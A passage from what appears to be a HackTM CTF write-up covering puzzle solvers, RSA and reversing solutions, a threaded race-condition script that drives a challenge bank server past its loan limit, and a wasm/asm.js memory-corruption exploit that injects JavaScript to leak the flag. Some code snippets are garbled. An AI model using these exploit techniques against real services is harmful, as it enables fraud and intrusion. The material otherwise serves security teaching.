return 0;
}
steps_left--;
for (int i = 0; i < col_size; ++i) {
shift_row(current, i, col_size, row_size);
if (solve_mat(current, target, col_size, row_size, steps_left)) {
printf("%d,", i);
return 1;
}
shiftback_row(current, i, col_size, row_size);
}
for (int i = 0; i < row_size; ++i) {
shift_col(current, i, col_size, row_size);
if (solve_mat(current, target, col_size, row_size, steps_left)) {
printf("%c,", 'A' + i);
return 1;
}
shiftback_col(current, i, col_size, row_size);
}
return 0;
}

int main(int argc, char**argv) {
int col_size = atoi(argv[1]);
int row_size = atoi(argv[2]);
char *current = argv[3];
char *target = argv[4];

print_mat(current, col_size, row_size);
for (int i = 0; i < 1 << 16; ++i) {
if (solve_mat(current, target, col_size, row_size, i)) {
print_mat(current, col_size, row_size);
printf("\n");
return 0;
}
}
return 1;
}

## Output example

> python -i shifty.py


Opening connection to 138.68.67.161 on port 60006

Opening connection to 138.68.67.161 on port 60006: Trying 138.68.67.161 [+] Opening connection to 138.68.67.161 on port 60006: Done Level 1 Level 2 Level 3 Level 4 Level 5 try 0 / 576 try 1 / 576 try 2 / 576 try 3 / 576 try 4 / 576 try 5 / 576 try 6 / 576 try 7 / 576 found_solution [*] Switching to interactive mode HackTM{you_sp1n_me_r1ght_r0und_b4by_round_r0und} [*] Got EOF while reading in interactive

## RSA is easy #2

Similar to RSA is easy #1, but this time we don’t get the public key.
However, the plaintext is much longer (> 1000 encrypted bytes). Because each byte is encrypted separately, we actually get an encryption that substitutes each character with a symbol, which is equivalent to a Substitution Cipher.
Substitution Ciphers can be broken by analyzing the language frequency distribution.
We used the following website to decrypt the flag:
https://www.guballa.de/substitution-solver

## RSA is easy #1

In this exercise we are given two files:

1. c – a file containing an RSA public key and an encrypted flag.
2. rsa.py – an RSA implementation:
import random
from my_math import next_prime

from flag import flag

def egcd(a, b):
x, y, u, v = 0, 1, 1, 0
while a != 0:
q, r = b//a, b % a
m, n = x-u*q, y-v*q
b, a, x, y, u, v = a, r, u, v, m, n
gcd = b
return gcd, x, y

def gen_keys(p, q):
e = 65537
n = p * q
phi = (p - 1) * (q - 1)
gcd, d, b = egcd(e, phi)
# Keys:((pub),  (priv))
return ((e, n), (d, n))

def enc(key, p):
e, n = key
cipher = [pow(ord(char), e, n) for char in p]
return cipher

def dec(pk, c):
key, n = pk
plain = [chr(pow(char, key, n)) for char in c]
return ''.join(plain)

p = next_prime(random.SystemRandom().getrandbits(512))
q = next_prime(random.SystemRandom().getrandbits(512))

flag_key=gen_keys(p, q)

print("Public key:")
print(flag_key[0])

flag_c=(enc(flag_key[0], flag))

print("Encrypted flag:")
print(flag_c)

As we can see, encryption is performed on each byte separately.
Given the public key, we can encrypt all possible byte values and create a mapping between encrypted bytes to plaintext bytes.
This mapping is then applied on the ciphertext and the flag is obtained.

## Prison Break

This challenge describes the following algorithm:

Start with a list of 10^7 zeros and for every line containing a,b,c separated by a space in the given file, add c modulo 10 to every number in your list between indices a and b (a included only).
Indices start at 1 in the list. At the end, compute the product modulo 999999937 of the nonzero digits in your list and you will obtain the password

In addition, we get a file called “Given_file.txt” that cointains 10^7 lines as described in the algorithm description.
If we try to solve this just by following the algorithm description, we will end up with a complexity of O(n^2) where n is the number of lines, which is 10^7. This yields a very long running time, so we better think about some other way.

In order to solve this problem in linear complexity we can do the following:

1. Generate an array X of 10^7 tuples – (0,0).
2. Traverse the input file and update X as follows: x[a][0] = (x[a][0] + c)%10
x[b][1] = (x[b][1] – c)%10
3. Compute the result by traversing X as follows:
   result = 1
cur = 0
for i in range(1, len(x)):
cur = (cur + x[i][0] + x[i][1]) % 10
if cur != 0:
result = (result * cur) % 999999937 

## plop

PLOP is a reversing task composed of a single x64 ELF executable.

By Inspecting main we find that it:

• Copies the program’s input into a global array (100 bytes at the most).
• Registers a signal handler for SIGALRM.
• Calls alarm(1) (which will invoke the aforementioned handler after a second).
• Returns

All the alarm handler does is to check a global flag, henceforth referred to as success_flag , and print a success / failure message accordingly.

The lion’s share of the task lies within two finalizer functions, referenced in the ELF’s .fini_array section. These run after main returns to libc — and, in our case, before the alarm timer hits.

These finalizers (presumably) act on our input and set success_flag accordingly. Let’s inspect them.

The first one performs three actions:

• mmaps a single page at a fixed address – 0x1337000.
• Copies our input (from the global array, see above) into 0x1337000-0x1337063.
• Registers another signal handler, this time for SIGSEGV.

The second finalizer intentionally triggers a segmentation fault by executing mov rax, ds:51C7h (an absolute read of an unmapped address).

Control is transferred to the SIGSEGV handler, which:

• Extracts the address bytes (0x51 & 0xC7) from the offending mov instruction.
• This is done via the ucontext parameter that is passed to the signal handler: context->uc_mcontext.gregs[REG_RIP].
• mmaps an RWX page (at an arbitrary address)
• Unpacks the 0x51 bytes that follow the offending mov.
• The packing scheme is unknown, but it’s irrelevant, as you’ll see below.
• calls the unpacked code.
• Jumps to the instruction that’s 0x51+0xC7 bytes after the offending mov.
• Which happens to be yet another faulty mov. This is essentially an unpack+execute loop that’s driven by segmentation faults.
• This sequence ends with settings success_flag to !(*0x1337064), which we named failure_flag & an endless empty loop. The program awaits the SIGALRM handler that was set up in main.

Instead of deciphering the packing scheme, we placed a breakpoint on the call to each unpacked chunk and dumped them all:

b <call_unpacked_chunk>
# Rinse and repeat
dump binary memory plop_routine_i rdirdi+0x50
c

# Stitch together afterwards
cat plop_routine_* > plop_routines_all

We then opened the amalgamated blob in IDA & mapped an empty segment at 0x1337000.

(The emitted instructions all use absolute addressing, so we don’t have to worry about rebasing)

Annotated decompiled checks:

void plop_check_0()
{
unsigned __int64 v0; // rax
__int16 v1; // bx

v0 = __ROL8__(input_qword_0, 14) ^ 0xDC3126BD558BB7A5ui64;
if ( plop_state )
{
v1 = failure_flag;
if ( v0 != plop_state )
v1 = 1;
failure_flag = v1;
}
else
{
plop_state = v0;
}
}

void plop_check_1()
{
__int64 v0; // r9

v0 = __ROR8__(plop_state ^ 0x76085304E4B4CCD5i64, 40);
if ( plop_state )
{
if ( input_qword_1 != v0 )
LOBYTE(failure_flag) = 1;
}
else
{
plop_state = __ROL8__(input_qword_1, 40) ^ 0x76085304E4B4CCD5i64;
}
}

void plop_check_2()
{
__int64 rol_xor_comp; // rax
__int16 v1; // bx

rol_xor_comp = __ROL8__(input_qword_2, 62) ^ 0x1CB8213F560270A0i64;
if ( plop_state )
{
v1 = failure_flag;
if ( rol_xor_comp != plop_state )
v1 = 1;
failure_flag = v1;
}
else
{
plop_state = rol_xor_comp;
}
}

void plop_check_3()
{
__int64 v0; // rax
__int16 v1; // bx

v0 = __ROL8__(input_qword_3, 2) ^ 0x4EF5A9B4344C0672i64;
if ( plop_state )
{
v1 = failure_flag;
if ( v0 != plop_state )
v1 = 1;
failure_flag = v1;
}
else
{
plop_state = v0;
}
}

void plop_check_4()
{
__int64 v0; // r9

v0 = __ROR8__(plop_state ^ 0xE28A714820758DF7ui64, 45);
if ( plop_state )
{
if ( input_qword_4 != v0 )
LOBYTE(failure_flag) = 1;
}
else
{
plop_state = __ROL8__(input_qword_4, 45) ^ 0xE28A714820758DF7ui64;
}
}

void plop_check_5()
{
unsigned __int64 v0; // rax
__int16 v1; // bx

v0 = __ROL8__(input_qword_5, 39) ^ 0xA0D78B57BAE31402ui64;
if ( plop_state )
{
v1 = failure_flag;
if ( v0 != plop_state )
v1 = 1;
failure_flag = v1;
}
else
{
plop_state = v0;
}
}

void plop_check_6()
{
__int64 v0; // rax

v0 = __ROL8__(0x4474F2ED7223940i64, 53) ^ input_qword_6;
if ( plop_state )
{
if ( __ROR8__(v0, 53) != plop_state )
LOBYTE(failure_flag) = 1;
}
else
{
plop_state = __ROL8__(v0, 11);
}
}

void plop_check_7()
{
__int64 v0; // r9

v0 = __ROR8__(plop_state ^ 0xB18CEEB56B236B4Bui64, 25);
if ( plop_state )
{
if ( input_qword_7 != v0 )
LOBYTE(failure_flag) = 1;
}
else
{
plop_state = __ROL8__(input_qword_7, 25) ^ 0xB18CEEB56B236B4Bui64;
}
}

The 0x1337000 page looks like this:

# Placed by the main binary
0x1337000 | input_qword_0
0x1337008 | input_qword_1
0x1337010 | input_qword_2
0x1337018 | input_qword_3
0x1337020 | input_qword_4
0x1337028 | input_qword_5
0x1337030 | input_qword_6
0x1337038 | input_qword_7
# Read by the main binary after executing all check routines
0x1337064 | failure_flag
# Used by the check routines in some fashion. Details below.
0x1337080 | plop_state

A couple of observations:

• Each check routine handles a single distinct input QWORD. This means that the flag is 64-byte long (at most).
• failure_flag must never be turned on; all eight check routines must succeed.
• plop_check_0 sets plop_state to a non-zero value, as the flag has to start with HackTM{.
• Once set, plop_state remains fixed. This abolishes the else clause in routines 1 through 7, significantly simplifying the solution.
• All operations are trivially reversible. Rotate Left and Rotate Right inverse each other. XOR is an Involution.

The key corollaries here are that the check routines are all independent (well, sans plop_check_0 executing first) and are all very easy to fulfill.

Flag synthesis revolves around satisfying these constraints:

• All eight check routines must succeed.
• The flag must start with HackTM{.
• Each byte in the flag must be printable

Let’s plug what we know into an SMT solver:

import z3

class Plop(object):
def __init__(self):
self.flag = z3.BitVec("flag", 64 * 8)
self.plop_state = None  # Initialized by plop0
self.solver = z3.Solver()

# Flag must strart with HackTM{
for i, c in enumerate("HackTM{"):
self.solver.add(self._flag_byte(i) == ord(c))

# The rest of it must be printable ASCII
for i in range(len("HackTM{"), 64):
self._assert_printable(self._flag_byte(i))

def _flag_qword(self, idx):
low  = (idx * 64)
high = (idx * 64) + 63
return z3.Extract(high, low, self.flag)

def _flag_byte(self, idx):
low  = (idx * 8)
high = (idx * 8) + 7
return z3.Extract(high, low, self.flag)

def _assert_printable(self, byte):
self.solver.add(z3.And(byte >= 0x21, byte <= 0x7e))

def plop0(self):
iq0 = self._flag_qword(0)
self.plop_state = z3.RotateLeft(iq0, 14) ^ 0x0DC3126BD558BB7A5

def plop1(self):
iq1 = self._flag_qword(1)
self.solver.add(z3.RotateRight(self.plop_state ^ 0x76085304E4B4CCD5, 40) == iq1)

def plop2(self):
iq2 = self._flag_qword(2)
self.solver.add(z3.RotateLeft(iq2, 62) ^ 0x1CB8213F560270A0 == self.plop_state)

def plop3(self):
iq3 = self._flag_qword(3)
self.solver.add(z3.RotateLeft(iq3, 2) ^ 0x4EF5A9B4344C0672 == self.plop_state)

def plop4(self):
iq4 = self._flag_qword(4)
self.solver.add(z3.RotateRight(self.plop_state ^ 0xE28A714820758DF7, 45) == iq4)

def plop5(self):
iq5 = self._flag_qword(5)
self.solver.add((z3.RotateLeft(iq5, 39) ^ 0xA0D78B57BAE31402) == self.plop_state)

def plop6(self):
iq6 = self._flag_qword(6)
iq6_mix = z3.RotateLeft(z3.BitVecVal(0x4474F2ED7223940, 64), 53) ^ iq6
self.solver.add(z3.RotateRight(iq6_mix, 53) == self.plop_state)

def plop7(self):
iq7 = self._flag_qword(7)
self.solver.add(z3.RotateRight(self.plop_state ^ 0xB18CEEB56B236B4B, 25) == iq7)

plop = Plop()
plop.plop0()
plop.plop1()
plop.plop2()
plop.plop3()
plop.plop4()
plop.plop5()
plop.plop6()
plop.plop7()

assert plop.solver.check() == z3.sat
m = plop.solver.model()

flag_int = m[plop.flag].as_long()
flag_str = ("%x" % flag_int).decode('hex')[::-1]
print flag_str

Running this yields the flag: HackTM{PolynomialLookupOrientedProgramming_sounds_kinda_shit_xd}

## My_Bank

#### Description:

Who’s got my money?

Please abstain from brute-forcing files.

Author: nytr0gen

The website is a virtual bitcoin bank.

After registration we can access two tabs:

1. The first tab is for loan requests, that have 2 restrictions:
• Requested amount must be an integer value between 1 to 100
• Maximum of all loans received from the bank is 600.
2. In the second one you can purchase items like chocolate, books, etc. with the BTC loaned before.

One of the interesting things you can purchase is a flag, but it has a price of 1337 BTC
The problem is, of course, that you can loan only 600 BTC.

After researching the loan request (several interactions with the server side and understanding its response behavior), we identified that the server side has a logical flaw.
We can spam it with a lot of concurrent requests and trigger a race condition.
With this bug we can bypass the restriction, loan more then 600 tBTC and purchase the flag.

Below is a simple python script which performs a lot of concurrent requests to the server. After receiving the required number of bitcoins, the script purchases the flag and prints its textual value.

import requests
import threading
import re

money = [b'0']
while int(money[0].replace(b"," ,b"")) <= 1300:
### Registration
session = requests.Session()
r = session.post("http://178.128.175.6:50090/")
csrf_tocken = re.findall(b'name="csrf_token".*value="(.*)"', r.content)
paramsPost = {"csrf_token": csrf_tocken,"username":"\x2371"}
headers = {"Origin":"http://178.128.175.6:50090","Upgrade-Insecure-Requests":"1","Content-Type":"application/x-www-form-urlencoded"}
r = session.post("http://178.128.175.6:50090/register", data=paramsPost, headers=headers)

## Hack <=====
def tr(a,b):
global money
paramsPost = {"loan":"100","csrf_token": csrf_tocken}
response = session.post("http://178.128.175.6:50090/", data=paramsPost)
if response.status_code == 200:
money = re.findall(b'Money: (.*)\.\d+ tBTC', response.content)

for i in range(7):
tr1 = threading.Thread(target=tr, args=(1,2))
tr2 = threading.Thread(target=tr, args=(1,2))
tr3 = threading.Thread(target=tr, args=(1,2))
tr1.start()
tr2.start()
tr3.start()
tr1.join()
tr2.join()
tr3.join()
print("%s" % money)

paramsPost = {"item":"1337","csrf_token":csrf_tocken}
response = session.post("http://178.128.175.6:50090/store", data=paramsPost)
print("[+] HackTM{%s}" % (re.findall(b'HackTM{(.*)}',response.content)[0].decode('utf-8')))

## Merry_Cemetery

#### challenge description

The challenge was based on a program written in C and compiled to wasm and asm.js using emscripten framework.

Both .wasm and asm.js files were provided in the challenge(merry_cemetery.js, merry_cemetery.wasm), and no description at all besides “Rest In Peace”. We chose to work on the asm.js version.

First thing first, we ran the .js file in d8, and got this message:

In a land far far away, where only joy and laughter rules, a group of locals decided to keep this joy even after death. Thus was born the merry cemetery. A blue place, where the best jokes are inscribed on the graves. You will be given the opportunity to decorate some graves with your best jokes.

We're expecting quality humor only

[+] Add New Joke

[-] Delete Joke

[$] Reward We opened the .js file and soon noticed that there is a global variable named “aaaa”: var aaaa = "HackTM{XXXXXXXXXXXXXXXXXXXXX-real-flag-on-remote-server}"; Which we probably need to find a way to print it on the server. #### understanding the code asm.js is a subset of JavaScript designed to allow computer software written in languages such as C to be run as web applications while maintaining performance characteristics considerably better than standard JavaScript, which is the typical language used for such applications. We navigated to the “__main” function. As expected the code looks like any other low-level language in terms of memory usage, stack management and arithmetic operations. The whole memory of an asm.js / wasm program is presented using a JS ArrayBuffer. There are several JS TypedArrays that wraps this buffer in order to provide access to the memory with different data types:  buffer = new ArrayBuffer(TOTAL_MEMORY); Module['HEAP8'] = HEAP8 = new Int8Array(buffer); Module['HEAP8'] = HEAP8 = new Int8Array(buffer); Module['HEAP16'] = HEAP16 = new Int16Array(buffer); Module['HEAP32'] = HEAP32 = new Int32Array(buffer); Module['HEAPU8'] = HEAPU8 = new Uint8Array(buffer); Module['HEAPU16'] = HEAPU16 = new Uint16Array(buffer); Module['HEAPU32'] = HEAPU32 = new Uint32Array(buffer); Module['HEAPF32'] = HEAPF32 = new Float32Array(buffer); Module['HEAPF64'] = HEAPF64 = new Float64Array(buffer); For example, accessing a single byte, would require the use of HEAP8 typed array. There are several interesting functions in this program: ##### main: ​ Gets the user input, and calls the right function with a switch case statement. ##### case add_joke: ​ The program has a joke counter, as a local variable on the stack. ​ Calling the add_joke function with the joke counter, will allocate 50 bytes buffer for the new joke, and saves the pointer to it in an array. ​ You can see that the jokes array can only hold up to 256 jokes:  8 = (_malloc(50)|0); #allocate buffer for the joke10 = 8&255; #get the joke index into the joke array11 = (17280 + ($10<<2)|0);        #get the joke array from memory(17280 is the offset of the array)
HEAP32[$11>>2] =$8;               #write the pointer to the joke into the joke array

The function returns 0 if it successfully allocated and stored the joke, and increment the counter of the jokes:

    7 = sp + 24|0;               #initialization of the counter16 = HEAP8[7>>0]|0;         #reading the current number of jokes17 = (($16) + 1)<<24>>24; #incrementing it by 1 HEAP8[7>>0] =17; #writing it back to stack Here we found our first primitive- ​ We are able to overflow the counter from 255 to 0 when we exceed the number of jokes(255) We can see an interesting if statement right after the last code snippet:  18 = HEAP8[7>>0]|0; # reads the joke counter 19 =18&255; 20 = (19|0)==(255); # check if the counter equals to 255 if (20) { # if so, write 0xff on the counter HEAP8[7>>0]=-1&255; # and the next 3 parameters on the stack HEAP8[7+1>>0]=(-1>>8)&255; HEAP8[7+2>>0]=(-1>>16)&255; HEAP8[$7+3>>0]=-1>>24;
}
##### case remove_joke:

​ Calling the remove_joke function with the joke counter, will access the joke array at the joke counter index and will free the allocated memory for that joke.

​ It will overwrite the freed pointer with 0, and return 1 when finishes.

​ After that joke counter is decreased based on the return value of the remove_joke function(which is always 1)

Here we found our second primitive- (which is very similar to the first one)

​ We are able to decrease the joke counter to underflow from 0 to 255.

##### case Reward:

Code checks the joke counter to see if it reached 255, if so- it enters an unreachable code? (as seen from the comment)

 6 = sp + 25|0;                                      # init the buffer27 = HEAP8[7>>0]|0;28 = 27&255;29 = (28|0)==(255);                                # check wether the joke counter
# reached 255
if (29) {
(_write(2,6,1)|0);                                 # write one byte from the buffer
# into stdErr fd30 = HEAP8[6>>0]|0;31 = 30&255;
_gravestone(31);                                  # call gravestone with the written
# byte
_exit(0);
// unreachable;
}

*** If you recall when writing 255 jokes, the program writes the joke counter and the 3 following bytes with 0xff.

$6 = sp + 25|0;$7 = sp + 24|0;

As you can see the byte that passed into gravestone is right after the joke counter on the stack! we can overwrite it!!!

##### gravestone function:

Gravestone function asks us to insert a new joke :

Due to your kindness and hard work, the locals would like to reward you by allowing you to decorate your own gravestone.
++ Insert Joke:

It then reads the user input with the length of the entered parameter (0xff as you probably remember), and writes it into 17136 address, and calls check on the entered input.

 16 = (_read(0,17136,15)|0);                      # read into 17136 offset in memory
# 0xff bytes
8 =16;
17 =8;
18 = (_check(17)|0);                            # call check on that buffer

If the check function returns 0, then the gravestone function will call _emscripten_run_script on 17168 address. this function calls eval on the passed parameter, which will be called from now on the “run script” buffer.

 18 = (_check(17)|0);
19 = (18|0)!=(0);
if ($19) { _emscripten_run_script((17168|0)); STACKTOP = sp;return; Note that our inserted joke is at 17136, and we wrote 0xff bytes- this means that we overflowed the “run script” buffer! 🙂 (starting from the 32 byte). ##### check function: ​ The check function loops the inserted joke, and checks that the joke contains only non alphabetic ascii chars, except the letter “a” (97 ascii value) while(1) { 4 =3; 5 =2; 6 = ((5) - 1)|0; 7 = (4|0)<($6|0);                                 # current_index < len_str
if (!($7)) { label = 9; break; }$8 = $3;$9 = (17136 + ($8)|0); # pointer into inserted string$10 = HEAP8[$9>>0]|0; 11 =10 << 24 >> 24; 12 = (11|0)>=(98); # current byte >= 98 (== b) if (12) {13 = 3;14 = (17136 + (13)|0);15 = HEAP8[14>>0]|0;16 =$15 << 24 >> 24;
17 = (16|0)<=(122);                              # current byte <= 122 (== z)
if ($17) { label = 7; break; } }$18 = $3;$19 = (17136 + ($18)|0);$20 = HEAP8[$19>>0]|0; 21 =20 << 24 >> 24; 22 = (21|0)>=(65); # current byte >= 65 (== A) if (22) {23 = 3;24 = (17136 + (23)|0);25 = HEAP8[24>>0]|0;26 =$25 << 24 >> 24;
27 = (26|0)<=(90);                             # current_byte <= 90 (== Z)
if ($27) { label = 7; break; } } ##### The exploitation: ​ So now we know enough to do pretty much everything. ​ Lets combine our primitives to call the gravestone function, and later run our JS script (contains only ascii characters and lowercase 'a'). ###### Exploitation workflow: 1. Send 256 jokes 49 bytes long each. ​ This will overflow our joke counter to 0 2. Remove the last joke ​ Whis will underflow our joke counter back to 255 3. Call Reward to trigger a call to the gravestone function 4. Send a non alphabetic javascript that will run on the server. 5. Get the flag 🙂 woohhooo! We still have a very big problem- ​We need to figure out how to overcome the limitations of the check function! Remider: our flag located in a global variable named "aaaa", which is good for us, but we can't print it using console.log or any other trivial way due to our limitations. But we do get the stderr output when an exception occured. What if we can trigger an indicative error to help us get some more information about the flag? We tried to call aaaaaaaaaa() and we got an error "the aaaaaaaaaa() function is not defined", OK. So, we know how to trigger an error which we can control its data in somehow, so lets use it for our advantage! We know that the Flag starts with "HackTM{" and ends with "}", so we sent this script: '{' == aaaa[6] ? aaaaaaaaaa() : 1 If the statement is True, the code will go ahead and try to call aaaaaaaaaa(), if not- nothing will happen. Well, how about that?! it worked!! We can now evaluate expression like this to get more information about the flag. ###### How we used it: We wrote a little python script which communicate with the server and runs a script of our choice: import socket def run_script(script): sock = socket.socket() sock.connect(("138.68.67.161", 20002)) for i in range(256): sock.send("+" + "a"*49 + "\r\n") sock.send("-") sock.send("$")
script = ";"*(255-len(script)) + script + ""
data = "Aaa"
while "Insert Joke" not in data:
data = sock.recv(1024)
# print data
# print script
sock.send(script)
data = sock.recv(1024)
sock.close()
return data
• We first wanted to know the length of the flag. so we tried to check '}' against aaaa[idx], when 'idx' is an increasing counter. When we see the error we expect, we know we found it.
idx = 0
while True:
print "current idx = %d" % (idx)
val = run_script("'}' == aaaa[idx] ? aaaaaaaaaa() : 1" % (idx,))
if "is not defined" in val:
print "we found it! %d" % (idx)
break
• Next we tried to find a match with every character we can send. as you probably know flags are often contain non alphabetic ascii characters. this produced a several "bingo's" but yet, not enough.
• Next we tried to use the fact that the flag starts with "HackTM" to compare these letters to every character in the flag. sadly we found nothing.
• Next we tried to find letters that appear several times, by looping the flag and comparing each letter to the rest. we found many letters that appear more than once and documented their location on the flag string.
• Next we tried to understand if the flag consists of uppercase letters or lowercase one by comparing it to "a"- the only letter we can send. if the letter is bigger then "a" and smaller then "{" it means it is a lowercase letter and so on (based on ascii table). We found that all the remaining letters are lowercase letters.
• Next we tried to compare each letter we don't know to the others, and to "c","k" from the "HackTM", in order to understand which comes before the other in the alphabet and order our "jokers" (the letters that are yet to be found).

Now, we can build the flag structure based on the information we gathered on the previous steps:

HackTM{[X]4[Y]_[Y]0[Z][Q]_[W]4[Y][T]_[R]3_[X]3[Q][Q][Y]_4[U][W]_[R][Q]1[H][J][K]}

Based on the comparisons we performed between every 2 letters on the flag, these all the possible options of the missing letters assignments:

{
"[W]" : ["d", "e", "f", "g", "h", "i", "j"],
"[H]" : ["e", "f", "g", "h", "i", "j"],
"[J]" : ["f", "g", "h", "i", "j"],
"[X]" : ["k", "l", "m", "n", "o", "p", "q", "r", "s", "t"],
"[U]" : ["l", "m", "n", "o", "p", "q", "r", "s", "t", "u"],
"[Q]" : ["m", "n", "o", "p", "q", "r", "s", "t", "u", "v"],
"[T]" : ["n", "o", "p", "q", "r", "s", "t", "u", "v", "w"],
"[K]": ["o", "p", "q", "r", "s", "t", "u", "v", "w", "x"],
"[Z]": ["p", "q", "r", "s", "t", "u", "v", "w", "x", "y"],
"[Y]": ["q", "r", "s", "t", "u", "v", "w", "x", "y", "z"],
}

Now, after some guessing based on common English words based on the possible options, we found the flag:

HackTM{m4y_y0ur_d4ys_b3_m3rry_4nd_br1ght}

Thats all! 🙂

Thank you for reading.